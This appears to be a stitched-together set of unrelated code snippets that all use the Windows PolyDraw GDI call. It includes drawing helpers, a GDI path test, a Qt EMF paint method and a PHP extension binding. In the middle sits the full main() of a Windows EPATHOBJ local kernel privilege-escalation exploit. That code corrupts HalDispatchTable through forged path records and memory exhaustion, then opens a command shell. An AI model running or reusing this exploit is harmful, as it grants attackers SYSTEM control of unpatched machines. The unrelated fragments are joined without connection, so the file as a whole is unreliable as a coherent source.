void Draw3Borders(HDC hdc, const RECT &rect, int iStartPos) { CPoint ptarrVertex[4]; BYTE barrType[4] = {PT_MOVETO, PT_LINETO, PT_LINETO, PT_LINETO}; RectToVertexArr(rect, ptarrVertex, iStartPos); PolyDraw(hdc, ptarrVertex, barrType, 4); MoveToEx(hdc, ptarrVertex[3].x, ptarrVertex[3].y, NULL); LineTo(hdc, ptarrVertex[3].x, ptarrVertex[3].y+1); }
static void test_polydraw(void) { BOOL retb; HDC hdc = GetDC(0); BeginPath(hdc); /* closefigure with no previous moveto */ if (!(retb = PolyDraw(hdc, polydraw_pts, polydraw_tps, 2)) && GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) { /* PolyDraw is only available on Win2k and later */ win_skip("PolyDraw is not available\n"); goto done; } expect(TRUE, retb); MoveToEx(hdc, 100, 100, NULL); LineTo(hdc, 95, 95); /* closefigure with previous moveto */ retb = PolyDraw(hdc, polydraw_pts, polydraw_tps, 2); expect(TRUE, retb); /* bad bezier points */ retb = PolyDraw(hdc, &(polydraw_pts[2]), &(polydraw_tps[2]), 4); expect(FALSE, retb); retb = PolyDraw(hdc, &(polydraw_pts[6]), &(polydraw_tps[6]), 4); expect(FALSE, retb); /* good bezier points */ retb = PolyDraw(hdc, &(polydraw_pts[8]), &(polydraw_tps[8]), 4); expect(TRUE, retb); /* does lineto or bezierto take precedence? */ retb = PolyDraw(hdc, &(polydraw_pts[12]), &(polydraw_tps[12]), 4); expect(FALSE, retb); /* bad point type, has already moved cursor position */ retb = PolyDraw(hdc, &(polydraw_pts[15]), &(polydraw_tps[15]), 4); expect(FALSE, retb); /* bad point type, cursor position is moved, but back to its original spot */ retb = PolyDraw(hdc, &(polydraw_pts[17]), &(polydraw_tps[17]), 4); expect(FALSE, retb); /* does lineto or moveto take precedence? */ retb = PolyDraw(hdc, &(polydraw_pts[20]), &(polydraw_tps[20]), 3); expect(TRUE, retb); EndPath(hdc); ok_path(hdc, "polydraw_path", polydraw_path, sizeof(polydraw_path)/sizeof(path_test_t), 0); done: ReleaseDC(0, hdc); }
void DrawRound(HDC hdc, const RECT &rect, int iStartPos, int iRound) { // CPoint arrPoint[10] = {0}; // // //start // arrPoint[0].x = rect.left; // arrPoint[0].y = rect.bottom - 1; // // arrPoint[1].x = rect.left; // arrPoint[1].y = rect.top + 10; // // // arrPoint[2].x = rect.left; // arrPoint[2].y = rect.top + 10; // // //leftTop // arrPoint[3].x = rect.left; // arrPoint[3].y = rect.top; // // arrPoint[4].x = rect.left + 10; // arrPoint[4].y = rect.top; ///////////////////////////////////////////////////////////// // arrPoint[5].x = rect.right - 11; // arrPoint[5].y = rect.top; // // arrPoint[6].x = rect.right - 11; // arrPoint[6].y = rect.top; // // //righttop // arrPoint[7].x = rect.right - 1; // arrPoint[7].y = rect.top; // // arrPoint[8].x = rect.right - 1; // arrPoint[8].y = rect.top + 9; // // arrPoint[9].x = rect.right - 1; // arrPoint[9].y = rect.bottom; // // BYTE barrType[10] = {PT_MOVETO, PT_LINETO, PT_BEZIERTO, PT_BEZIERTO, PT_BEZIERTO, PT_LINETO, PT_BEZIERTO, PT_BEZIERTO, PT_BEZIERTO, PT_LINETO}; // PolyDraw(hdc, arrPoint, barrType, 10); CPoint arrPoint[6] = {0}; switch (iStartPos) { case 3: //start arrPoint[0].x = rect.left; arrPoint[0].y = rect.bottom - 1; arrPoint[1].x = rect.left; arrPoint[1].y = rect.top + iRound; arrPoint[2].x = rect.left + iRound; arrPoint[2].y = rect.top; arrPoint[3].x = rect.right - iRound - 1; arrPoint[3].y = rect.top; arrPoint[4].x = rect.right - 1; arrPoint[4].y = rect.top + iRound; arrPoint[5].x = rect.right - 1; arrPoint[5].y = rect.bottom; break; case 1: arrPoint[0].x = rect.right - 1; arrPoint[0].y = rect.top; arrPoint[1].x = rect.right - 1; arrPoint[1].y = rect.bottom - iRound - 1; arrPoint[2].x = rect.right - iRound - 1; arrPoint[2].y = rect.bottom - 1; arrPoint[3].x = rect.left + iRound; arrPoint[3].y = rect.bottom - 1; arrPoint[4].x = rect.left; arrPoint[4].y = rect.bottom - iRound - 1; arrPoint[5].x = rect.left; arrPoint[5].y = rect.top - 1; break; } BYTE barrType[6] = {PT_MOVETO, PT_LINETO, PT_LINETO, PT_LINETO, PT_LINETO, PT_LINETO}; PolyDraw(hdc, arrPoint, barrType, 6); }
int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; TargetPid = GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); }
void EmfPaintEngine::drawPath ( const QPainterPath & path ) { setClipping(); int points = path.elementCount(); POINT *pts = new POINT[points]; BYTE *types = new BYTE[points]; POINT *bzs = new POINT[3]; int bez = 0; BeginPath(metaDC); QMatrix m = painter()->worldMatrix(); for (int i = 0; i < points; i++){ QPainterPath::Element el = path.elementAt(i); QPointF p = m.map(QPointF(el.x, el.y)); int x = qRound(p.x()); int y = qRound(p.y()); pts[i].x = x; pts[i].y = y; switch(el.type){ case QPainterPath::MoveToElement: types[i] = PT_MOVETO; #ifndef Q_WS_WIN MoveToEx (metaDC, x, y, 0); #endif break; case QPainterPath::LineToElement: types[i] = PT_LINETO; #ifndef Q_WS_WIN LineTo(metaDC, x, y); #endif break; case QPainterPath::CurveToElement: types[i] = PT_BEZIERTO; #ifndef Q_WS_WIN bzs[bez] = pts[i]; bez++; #endif break; case QPainterPath::CurveToDataElement: types[i] = PT_BEZIERTO; #ifndef Q_WS_WIN bzs[bez] = pts[i]; if (bez == 2){ PolyBezierTo(metaDC, bzs, 3); bez = 0; } else bez++; #endif break; } } HPEN wpen = convertPen(painter()->pen()); SelectObject(metaDC, wpen); #ifdef Q_WS_WIN PolyDraw(metaDC, pts, types, points); #else StrokePath(metaDC); #endif HBRUSH wbrush = convertBrush(painter()->brush()); SelectObject(metaDC, wbrush); EndPath(metaDC); if(QPoint(pts[0].x, pts[0].y) == QPoint(pts[points - 1].x, pts[points - 1].y)) StrokeAndFillPath(metaDC); else { FillPath(metaDC); #ifdef Q_WS_WIN PolyDraw(metaDC, pts, types, points); #else StrokePath(metaDC); #endif } resetClipping(); DeleteObject(wbrush); DeleteObject(wpen); delete [] pts; delete [] types; }
PHP_METHOD(WinGdiPath, draw) { wingdi_devicecontext_object *dc_obj; wingdi_path_object *path_obj; zval ***parameters, **x, **y, **type; POINT *points = NULL; BYTE *types = NULL; int points_total = 0; int param_count, i; WINGDI_ERROR_HANDLING(); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "+", ¶meters, ¶m_count) == FAILURE) return; WINGDI_RESTORE_ERRORS(); path_obj = zend_object_store_get_object(getThis() TSRMLS_CC); dc_obj = zend_object_store_get_object(path_obj->device_context TSRMLS_CC); points = emalloc(param_count * sizeof(POINT)); types = emalloc(param_count * sizeof(BYTE)); for (i = 0; i < param_count; i++) { // We expect only arrays if (Z_TYPE_PP(parameters[i]) != IS_ARRAY) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "expected array for parameter %d, got %s", i + 1, zend_zval_type_name(*(parameters[i]))); goto CLEANUP; } else { // We want 3 elements if (zend_hash_num_elements(Z_ARRVAL_PP(parameters[i])) != 3) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "expected 3 elements for array at parameter %d, got %d", i + 1, zend_hash_num_elements(Z_ARRVAL_PP(parameters[i]))); goto CLEANUP; } else { zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 0, (void **)&x); zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 1, (void **)&y); zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 2, (void **)&type); if (Z_TYPE_PP(x) != IS_LONG) convert_to_long(*x); if (Z_TYPE_PP(y) != IS_LONG) convert_to_long(*y); if (Z_TYPE_PP(type) != IS_LONG) convert_to_long(*type); points[i].x = Z_LVAL_PP(x); points[i].y = Z_LVAL_PP(y); types[i] = (BYTE)Z_LVAL_PP(type); points_total++; } } } RETVAL_BOOL(PolyDraw(dc_obj->hdc, points, types, points_total)); CLEANUP: efree(points); efree(types); }